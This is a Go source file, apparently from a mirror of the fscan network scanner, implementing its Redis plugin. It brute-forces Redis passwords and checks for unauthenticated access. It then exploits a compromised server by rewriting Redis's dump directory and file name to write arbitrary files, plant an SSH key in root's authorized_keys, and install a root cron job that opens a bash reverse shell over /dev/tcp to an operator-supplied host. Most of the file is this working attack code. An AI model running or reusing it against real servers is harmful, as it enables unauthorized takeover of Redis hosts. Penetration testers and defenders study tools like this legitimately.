mirror of
https://github.com/shadow1ng/fscan.git
synced 2026-09-22 03:10:42 +08:00
622 lines
17 KiB
Go
622 lines
17 KiB
Go
//go:build plugin_redis || !plugin_selective
|
|
|
|
package services
|
|
|
|
import (
|
|
"bufio"
|
|
"context"
|
|
"fmt"
|
|
"io"
|
|
"net"
|
|
"os"
|
|
"path"
|
|
"strings"
|
|
"time"
|
|
|
|
"github.com/shadow1ng/fscan/common"
|
|
"github.com/shadow1ng/fscan/common/i18n"
|
|
"github.com/shadow1ng/fscan/plugins"
|
|
)
|
|
|
|
// RedisPlugin Redis数据库扫描和利用插件
|
|
type RedisPlugin struct {
|
|
plugins.BasePlugin
|
|
}
|
|
|
|
const maxRedisReplyBytes = 1 << 20
|
|
|
|
// NewRedisPlugin 创建Redis插件
|
|
func NewRedisPlugin() *RedisPlugin {
|
|
return &RedisPlugin{
|
|
BasePlugin: plugins.NewBasePlugin("redis"),
|
|
}
|
|
}
|
|
|
|
// Scan 执行Redis扫描
|
|
func (p *RedisPlugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *ScanResult {
|
|
config := session.Config
|
|
target := info.Target()
|
|
|
|
// 如果禁用暴力破解,只做服务识别
|
|
if config.DisableBrute {
|
|
return p.identifyService(ctx, info, session)
|
|
}
|
|
|
|
// 首先检查未授权访问
|
|
if result := p.testUnauthorizedAccess(ctx, info, session); result != nil && result.Success {
|
|
session.LogVuln(i18n.Tr("redis_unauth_success", target)) //nolint:govet
|
|
|
|
// 如果需要利用,重新建立连接执行
|
|
if p.shouldExploit(config) {
|
|
p.exploitWithPassword(ctx, info, "", session)
|
|
}
|
|
return result
|
|
}
|
|
|
|
// 生成测试凭据
|
|
credentials := GenerateCredentials("redis", config)
|
|
|
|
// 使用公共框架进行并发凭据测试
|
|
authFn := p.createAuthFunc(info, session)
|
|
testConfig := DefaultConcurrentTestConfigWithTarget(config, info)
|
|
testConfig.Concurrency = 20 // Redis 默认并发度更高
|
|
|
|
result := TestCredentialsConcurrently(ctx, credentials, authFn, "redis", testConfig)
|
|
|
|
// 如果成功,记录并执行利用
|
|
if result.Success {
|
|
session.LogVuln(i18n.Tr("redis_scan_success", target, result.Password)) //nolint:govet
|
|
|
|
// 如果需要利用,重新建立连接执行
|
|
if p.shouldExploit(config) {
|
|
p.exploitWithPassword(ctx, info, result.Password, session)
|
|
}
|
|
}
|
|
|
|
return result
|
|
}
|
|
|
|
// createAuthFunc 创建Redis认证函数
|
|
func (p *RedisPlugin) createAuthFunc(info *common.HostInfo, session *common.ScanSession) AuthFunc {
|
|
return func(ctx context.Context, cred Credential) *AuthResult {
|
|
return p.doRedisAuth(ctx, info, cred, session)
|
|
}
|
|
}
|
|
|
|
// doRedisAuth 执行Redis认证
|
|
func (p *RedisPlugin) doRedisAuth(ctx context.Context, info *common.HostInfo, cred Credential, session *common.ScanSession) *AuthResult {
|
|
target := info.Target()
|
|
timeout := session.Config.Timeout
|
|
|
|
// 建立TCP连接
|
|
conn, err := session.DialTCP(ctx, "tcp", target, timeout)
|
|
if err != nil {
|
|
return &AuthResult{
|
|
Success: false,
|
|
ErrorType: classifyRedisErrorType(err),
|
|
Error: err,
|
|
}
|
|
}
|
|
|
|
// 如果有密码,进行认证
|
|
if cred.Password != "" {
|
|
_ = conn.SetWriteDeadline(time.Now().Add(timeout))
|
|
if _, writeErr := conn.Write(buildRedisAuthCommand(cred.Password)); writeErr != nil {
|
|
_ = conn.Close()
|
|
return &AuthResult{
|
|
Success: false,
|
|
ErrorType: ErrorTypeNetwork,
|
|
Error: writeErr,
|
|
}
|
|
}
|
|
|
|
_ = conn.SetReadDeadline(time.Now().Add(timeout))
|
|
response := make([]byte, 512)
|
|
n, readErr := conn.Read(response)
|
|
if readErr != nil {
|
|
_ = conn.Close()
|
|
return &AuthResult{
|
|
Success: false,
|
|
ErrorType: ErrorTypeNetwork,
|
|
Error: readErr,
|
|
}
|
|
}
|
|
|
|
responseStr := string(response[:n])
|
|
if !strings.Contains(responseStr, "+OK") {
|
|
_ = conn.Close()
|
|
errType := ErrorTypeUnknown
|
|
if strings.Contains(responseStr, "WRONGPASS") ||
|
|
strings.Contains(responseStr, "invalid password") ||
|
|
strings.Contains(responseStr, "ERR AUTH") ||
|
|
strings.Contains(responseStr, "NOAUTH") {
|
|
errType = ErrorTypeAuth
|
|
}
|
|
return &AuthResult{
|
|
Success: false,
|
|
ErrorType: errType,
|
|
Error: fmt.Errorf(i18n.GetText("service_auth_failed")+": %s", strings.TrimSpace(responseStr)),
|
|
}
|
|
}
|
|
}
|
|
|
|
// 发送PING命令测试连接
|
|
pingCmd := "PING\r\n"
|
|
_ = conn.SetWriteDeadline(time.Now().Add(timeout))
|
|
if _, pingWriteErr := conn.Write([]byte(pingCmd)); pingWriteErr != nil {
|
|
_ = conn.Close()
|
|
return &AuthResult{
|
|
Success: false,
|
|
ErrorType: ErrorTypeNetwork,
|
|
Error: pingWriteErr,
|
|
}
|
|
}
|
|
|
|
_ = conn.SetReadDeadline(time.Now().Add(timeout))
|
|
response := make([]byte, 512)
|
|
n, pingReadErr := conn.Read(response)
|
|
if pingReadErr != nil {
|
|
_ = conn.Close()
|
|
return &AuthResult{
|
|
Success: false,
|
|
ErrorType: ErrorTypeNetwork,
|
|
Error: pingReadErr,
|
|
}
|
|
}
|
|
|
|
responseStr := string(response[:n])
|
|
if !strings.Contains(responseStr, "PONG") {
|
|
_ = conn.Close()
|
|
return &AuthResult{
|
|
Success: false,
|
|
ErrorType: ErrorTypeUnknown,
|
|
Error: fmt.Errorf("%s", i18n.Tr("redis_ping_failed", strings.TrimSpace(responseStr))),
|
|
}
|
|
}
|
|
|
|
return &AuthResult{
|
|
Success: true,
|
|
Conn: conn,
|
|
ErrorType: ErrorTypeUnknown,
|
|
Error: nil,
|
|
}
|
|
}
|
|
|
|
// classifyRedisErrorType Redis错误分类
|
|
func classifyRedisErrorType(err error) ErrorType {
|
|
if err == nil {
|
|
return ErrorTypeUnknown
|
|
}
|
|
|
|
redisAuthErrors := []string{
|
|
"wrongpass",
|
|
"invalid password",
|
|
"err auth",
|
|
"noauth authentication required",
|
|
"认证失败",
|
|
}
|
|
|
|
return ClassifyError(err, redisAuthErrors, CommonNetworkErrors)
|
|
}
|
|
|
|
// testUnauthorizedAccess 测试未授权访问
|
|
func (p *RedisPlugin) testUnauthorizedAccess(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *ScanResult {
|
|
emptyCred := Credential{Username: "", Password: ""}
|
|
|
|
result := p.doRedisAuth(ctx, info, emptyCred, session)
|
|
if result.Success {
|
|
if result.Conn != nil {
|
|
_ = result.Conn.Close()
|
|
}
|
|
return &ScanResult{
|
|
Type: plugins.ResultTypeVuln,
|
|
Success: true,
|
|
Service: "redis",
|
|
VulInfo: i18n.GetText("unauthorized_access"),
|
|
}
|
|
}
|
|
|
|
return nil
|
|
}
|
|
|
|
// exploitWithPassword 使用指定密码建立连接并执行利用
|
|
func (p *RedisPlugin) exploitWithPassword(ctx context.Context, info *common.HostInfo, password string, session *common.ScanSession) {
|
|
target := info.Target()
|
|
|
|
conn, err := session.DialTCP(ctx, "tcp", target, session.Config.Timeout)
|
|
if err != nil {
|
|
session.LogError(i18n.Tr("redis_reconnect_failed", err))
|
|
return
|
|
}
|
|
defer func() { _ = conn.Close() }()
|
|
|
|
// 如果有密码,先认证
|
|
if password != "" {
|
|
_ = conn.SetWriteDeadline(time.Now().Add(session.Config.Timeout))
|
|
if _, writeErr := conn.Write(buildRedisAuthCommand(password)); writeErr != nil {
|
|
return
|
|
}
|
|
_ = conn.SetReadDeadline(time.Now().Add(session.Config.Timeout))
|
|
response := make([]byte, 512)
|
|
if _, readErr := conn.Read(response); readErr != nil {
|
|
return
|
|
}
|
|
}
|
|
|
|
p.exploit(ctx, info, conn, password, session.Config, session)
|
|
}
|
|
|
|
// identifyService 服务识别
|
|
func (p *RedisPlugin) identifyService(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *ScanResult {
|
|
target := info.Target()
|
|
timeout := session.Config.Timeout
|
|
|
|
conn, err := session.DialTCP(ctx, "tcp", target, timeout)
|
|
if err != nil {
|
|
return &ScanResult{
|
|
Success: false,
|
|
Service: "redis",
|
|
Error: err,
|
|
}
|
|
}
|
|
defer func() { _ = conn.Close() }()
|
|
|
|
// 发送PING命令识别
|
|
pingCmd := "PING\r\n"
|
|
_ = conn.SetWriteDeadline(time.Now().Add(timeout))
|
|
if _, writeErr := conn.Write([]byte(pingCmd)); writeErr != nil {
|
|
return &ScanResult{
|
|
Success: false,
|
|
Service: "redis",
|
|
Error: writeErr,
|
|
}
|
|
}
|
|
|
|
_ = conn.SetReadDeadline(time.Now().Add(timeout))
|
|
response := make([]byte, 512)
|
|
n, readErr := conn.Read(response)
|
|
if readErr != nil {
|
|
return &ScanResult{
|
|
Success: false,
|
|
Service: "redis",
|
|
Error: readErr,
|
|
}
|
|
}
|
|
|
|
responseStr := string(response[:n])
|
|
var banner string
|
|
|
|
if strings.Contains(responseStr, "PONG") {
|
|
banner = i18n.GetText("redis_service_pong")
|
|
} else if strings.Contains(responseStr, "-NOAUTH") {
|
|
banner = i18n.GetText("redis_service_auth_required")
|
|
} else if strings.Contains(responseStr, "-ERR") {
|
|
banner = i18n.GetText("redis_service_protocol_response")
|
|
} else {
|
|
banner = i18n.GetText("redis_service_plain")
|
|
}
|
|
|
|
session.LogSuccess(i18n.Tr("redis_service_identified", target, banner)) //nolint:govet
|
|
|
|
return &ScanResult{
|
|
Type: plugins.ResultTypeService,
|
|
Success: true,
|
|
Service: "redis",
|
|
Banner: banner,
|
|
}
|
|
}
|
|
|
|
// =============================================================================
|
|
// Redis利用核心函数
|
|
// =============================================================================
|
|
|
|
// shouldExploit 判断是否需要执行利用
|
|
func (p *RedisPlugin) shouldExploit(config *common.Config) bool {
|
|
return !config.Redis.Disabled &&
|
|
(config.Redis.File != "" ||
|
|
config.Redis.Shell != "" ||
|
|
(config.Redis.WritePath != "" &&
|
|
(config.Redis.WriteContent != "" || config.Redis.WriteFile != "")))
|
|
}
|
|
|
|
// exploit 执行Redis漏洞利用
|
|
func (p *RedisPlugin) exploit(ctx context.Context, info *common.HostInfo, conn net.Conn, password string, config *common.Config, session *common.ScanSession) {
|
|
if config.Redis.Disabled {
|
|
return
|
|
}
|
|
|
|
_ = conn.SetDeadline(time.Time{})
|
|
|
|
dbfilename, dir, err := p.getConfig(conn)
|
|
if err != nil {
|
|
session.LogError(i18n.Tr("redis_config_failed", err))
|
|
return
|
|
}
|
|
|
|
select {
|
|
case <-ctx.Done():
|
|
return
|
|
default:
|
|
}
|
|
|
|
// 任意文件写入
|
|
if config.Redis.WritePath != "" && config.Redis.WriteContent != "" {
|
|
dirPath := path.Dir(config.Redis.WritePath)
|
|
fileName := path.Base(config.Redis.WritePath)
|
|
|
|
if success, _, writeErr := p.writeCustomFile(conn, dirPath, fileName, config.Redis.WriteContent); writeErr != nil {
|
|
session.LogError(i18n.Tr("redis_write_failed", writeErr))
|
|
} else if success {
|
|
session.LogVuln(i18n.Tr("redis_write_success", config.Redis.WritePath))
|
|
}
|
|
}
|
|
|
|
// 从本地文件读取并写入
|
|
if config.Redis.WritePath != "" && config.Redis.WriteFile != "" {
|
|
fileContent, readErr := os.ReadFile(config.Redis.WriteFile)
|
|
if readErr != nil {
|
|
session.LogError(i18n.Tr("redis_read_failed", readErr))
|
|
} else {
|
|
dirPath := path.Dir(config.Redis.WritePath)
|
|
fileName := path.Base(config.Redis.WritePath)
|
|
|
|
if success, _, writeErr := p.writeCustomFile(conn, dirPath, fileName, string(fileContent)); writeErr != nil {
|
|
session.LogError(i18n.Tr("redis_write_failed", writeErr))
|
|
} else if success {
|
|
session.LogVuln(i18n.Tr("redis_file_write_success", config.Redis.WriteFile, config.Redis.WritePath))
|
|
}
|
|
}
|
|
}
|
|
|
|
// SSH密钥写入
|
|
if config.Redis.File != "" {
|
|
if success, _, keyErr := p.writeKey(conn, config.Redis.File); keyErr != nil {
|
|
session.LogError(i18n.Tr("redis_ssh_key_failed", keyErr))
|
|
} else if success {
|
|
session.LogVuln(i18n.GetText("redis_ssh_key_success"))
|
|
}
|
|
}
|
|
|
|
// 定时任务写入
|
|
if config.Redis.Shell != "" {
|
|
if success, _, cronErr := p.writeCron(conn, config.Redis.Shell); cronErr != nil {
|
|
session.LogError(i18n.Tr("redis_cron_failed", cronErr))
|
|
} else if success {
|
|
session.LogVuln(i18n.GetText("redis_cron_success"))
|
|
}
|
|
}
|
|
|
|
// 恢复配置
|
|
if err = p.recoverDB(dbfilename, dir, conn); err != nil {
|
|
session.LogError(i18n.Tr("redis_restore_failed", err))
|
|
}
|
|
}
|
|
|
|
// =============================================================================
|
|
// Redis利用辅助函数
|
|
// =============================================================================
|
|
|
|
func (p *RedisPlugin) readReply(conn net.Conn) (string, error) {
|
|
_ = conn.SetReadDeadline(time.Now().Add(time.Second))
|
|
bytes, err := io.ReadAll(io.LimitReader(conn, maxRedisReplyBytes))
|
|
if len(bytes) > 0 {
|
|
err = nil
|
|
}
|
|
return string(bytes), err
|
|
}
|
|
|
|
// sendCmd 发送Redis命令并检查OK响应
|
|
// 返回响应文本、是否成功、错误
|
|
func (p *RedisPlugin) sendCmd(conn net.Conn, cmd []byte) (text string, ok bool, err error) {
|
|
if _, err = conn.Write(cmd); err != nil {
|
|
return "", false, err
|
|
}
|
|
text, err = p.readReply(conn)
|
|
if err != nil {
|
|
return text, false, err
|
|
}
|
|
return text, strings.Contains(text, "OK"), nil
|
|
}
|
|
|
|
func (p *RedisPlugin) getConfig(conn net.Conn) (dbfilename string, dir string, err error) {
|
|
if _, err = conn.Write(buildRedisCommand("CONFIG", "GET", "dbfilename")); err != nil {
|
|
return
|
|
}
|
|
text, err := p.readReply(conn)
|
|
if err != nil {
|
|
return
|
|
}
|
|
|
|
text1 := strings.Split(text, "\r\n")
|
|
if len(text1) > 2 {
|
|
dbfilename = text1[len(text1)-2]
|
|
} else {
|
|
dbfilename = text1[0]
|
|
}
|
|
|
|
if _, err = conn.Write(buildRedisCommand("CONFIG", "GET", "dir")); err != nil {
|
|
return
|
|
}
|
|
text, err = p.readReply(conn)
|
|
if err != nil {
|
|
return
|
|
}
|
|
|
|
text1 = strings.Split(text, "\r\n")
|
|
if len(text1) > 2 {
|
|
dir = text1[len(text1)-2]
|
|
} else {
|
|
dir = text1[0]
|
|
}
|
|
|
|
exploitPaths := []string{"/root/.ssh", "/var/spool/cron", "/var/www/html", "/tmp"}
|
|
for _, exploitPath := range exploitPaths {
|
|
if strings.HasPrefix(dir, exploitPath) {
|
|
dir = "/data"
|
|
dbfilename = "dump.rdb"
|
|
break
|
|
}
|
|
}
|
|
|
|
return
|
|
}
|
|
|
|
func (p *RedisPlugin) recoverDB(dbfilename string, dir string, conn net.Conn) (err error) {
|
|
if _, err = conn.Write(buildRedisCommand("CONFIG", "SET", "dbfilename", dbfilename)); err != nil {
|
|
return
|
|
}
|
|
if _, err = p.readReply(conn); err != nil {
|
|
return
|
|
}
|
|
|
|
if _, err = conn.Write(buildRedisCommand("CONFIG", "SET", "dir", dir)); err != nil {
|
|
return
|
|
}
|
|
if _, err = p.readReply(conn); err != nil {
|
|
return
|
|
}
|
|
|
|
return
|
|
}
|
|
|
|
func (p *RedisPlugin) readFile(filename string) (string, error) {
|
|
file, err := os.Open(filename)
|
|
if err != nil {
|
|
return "", err
|
|
}
|
|
defer func() { _ = file.Close() }()
|
|
|
|
scanner := bufio.NewScanner(file)
|
|
for scanner.Scan() {
|
|
text := strings.TrimSpace(scanner.Text())
|
|
if text != "" {
|
|
return text, nil
|
|
}
|
|
}
|
|
return "", err
|
|
}
|
|
|
|
func (p *RedisPlugin) writeCustomFile(conn net.Conn, dirPath, fileName, content string) (flag bool, text string, err error) {
|
|
// 设置目录
|
|
text, ok, err := p.sendCmd(conn, buildRedisCommand("CONFIG", "SET", "dir", dirPath))
|
|
if err != nil || !ok {
|
|
return false, p.truncateText(text), err
|
|
}
|
|
|
|
// 设置文件名
|
|
text, ok, err = p.sendCmd(conn, buildRedisCommand("CONFIG", "SET", "dbfilename", fileName))
|
|
if err != nil || !ok {
|
|
return false, p.truncateText(text), err
|
|
}
|
|
|
|
// 写入内容
|
|
text, ok, err = p.sendCmd(conn, buildRedisCommand("SET", "x", content))
|
|
if err != nil || !ok {
|
|
return false, p.truncateText(text), err
|
|
}
|
|
|
|
// 保存
|
|
text, ok, err = p.sendCmd(conn, buildRedisCommand("SAVE"))
|
|
if err != nil || !ok {
|
|
return false, p.truncateText(text), err
|
|
}
|
|
|
|
return true, p.truncateText(text), nil
|
|
}
|
|
|
|
// truncateText 截断文本到50字符
|
|
func (p *RedisPlugin) truncateText(text string) string {
|
|
text = strings.TrimSpace(text)
|
|
return truncateRunes(text, 50)
|
|
}
|
|
|
|
func (p *RedisPlugin) writeKey(conn net.Conn, filename string) (flag bool, text string, err error) {
|
|
// 设置目录
|
|
text, ok, err := p.sendCmd(conn, buildRedisCommand("CONFIG", "SET", "dir", "/root/.ssh/"))
|
|
if err != nil || !ok {
|
|
return false, p.truncateText(text), err
|
|
}
|
|
|
|
// 设置文件名
|
|
text, ok, err = p.sendCmd(conn, buildRedisCommand("CONFIG", "SET", "dbfilename", "authorized_keys"))
|
|
if err != nil || !ok {
|
|
return false, p.truncateText(text), err
|
|
}
|
|
|
|
// 读取密钥文件
|
|
key, err := p.readFile(filename)
|
|
if err != nil {
|
|
return false, i18n.Tr("redis_key_file_read_failed", filename, err), err
|
|
}
|
|
if len(key) == 0 {
|
|
return false, i18n.Tr("redis_key_file_empty", filename), nil
|
|
}
|
|
|
|
// 写入密钥
|
|
text, ok, err = p.sendCmd(conn, buildRedisCommand("SET", "x", "\n\n\n"+key+"\n\n\n"))
|
|
if err != nil || !ok {
|
|
return false, p.truncateText(text), err
|
|
}
|
|
|
|
// 保存
|
|
text, ok, err = p.sendCmd(conn, buildRedisCommand("SAVE"))
|
|
if err != nil || !ok {
|
|
return false, p.truncateText(text), err
|
|
}
|
|
|
|
return true, p.truncateText(text), nil
|
|
}
|
|
|
|
func (p *RedisPlugin) writeCron(conn net.Conn, host string) (flag bool, text string, err error) {
|
|
// 尝试设置cron目录(两个可能的路径)
|
|
text, ok, err := p.sendCmd(conn, buildRedisCommand("CONFIG", "SET", "dir", "/var/spool/cron/crontabs/"))
|
|
if err != nil {
|
|
return false, p.truncateText(text), err
|
|
}
|
|
if !ok {
|
|
// 尝试备用路径
|
|
text, ok, err = p.sendCmd(conn, buildRedisCommand("CONFIG", "SET", "dir", "/var/spool/cron/"))
|
|
if err != nil || !ok {
|
|
return false, p.truncateText(text), err
|
|
}
|
|
}
|
|
|
|
// 设置文件名
|
|
text, ok, err = p.sendCmd(conn, buildRedisCommand("CONFIG", "SET", "dbfilename", "root"))
|
|
if err != nil || !ok {
|
|
return false, p.truncateText(text), err
|
|
}
|
|
|
|
// 解析目标地址
|
|
scanIp, scanPort, err := net.SplitHostPort(strings.TrimSpace(host))
|
|
if err != nil && strings.Count(host, ":") == 1 {
|
|
target := strings.SplitN(host, ":", 2)
|
|
scanIp, scanPort = strings.TrimSpace(target[0]), strings.TrimSpace(target[1])
|
|
err = nil
|
|
}
|
|
if err != nil || scanIp == "" || scanPort == "" {
|
|
return false, i18n.GetText("redis_host_format_invalid"), nil
|
|
}
|
|
|
|
// 写入cron任务
|
|
cronContent := fmt.Sprintf("\n* * * * * bash -i >& /dev/tcp/%v/%v 0>&1\n", scanIp, scanPort)
|
|
text, ok, err = p.sendCmd(conn, buildRedisCommand("SET", "xx", cronContent))
|
|
if err != nil || !ok {
|
|
return false, p.truncateText(text), err
|
|
}
|
|
|
|
// 保存
|
|
text, ok, err = p.sendCmd(conn, buildRedisCommand("SAVE"))
|
|
if err != nil || !ok {
|
|
return false, p.truncateText(text), err
|
|
}
|
|
|
|
return true, p.truncateText(text), nil
|
|
}
|
|
|
|
func init() {
|
|
RegisterPluginWithPorts("redis", func() Plugin {
|
|
return NewRedisPlugin()
|
|
}, []int{6379, 6380, 6381, 16379, 26379})
|
|
}
|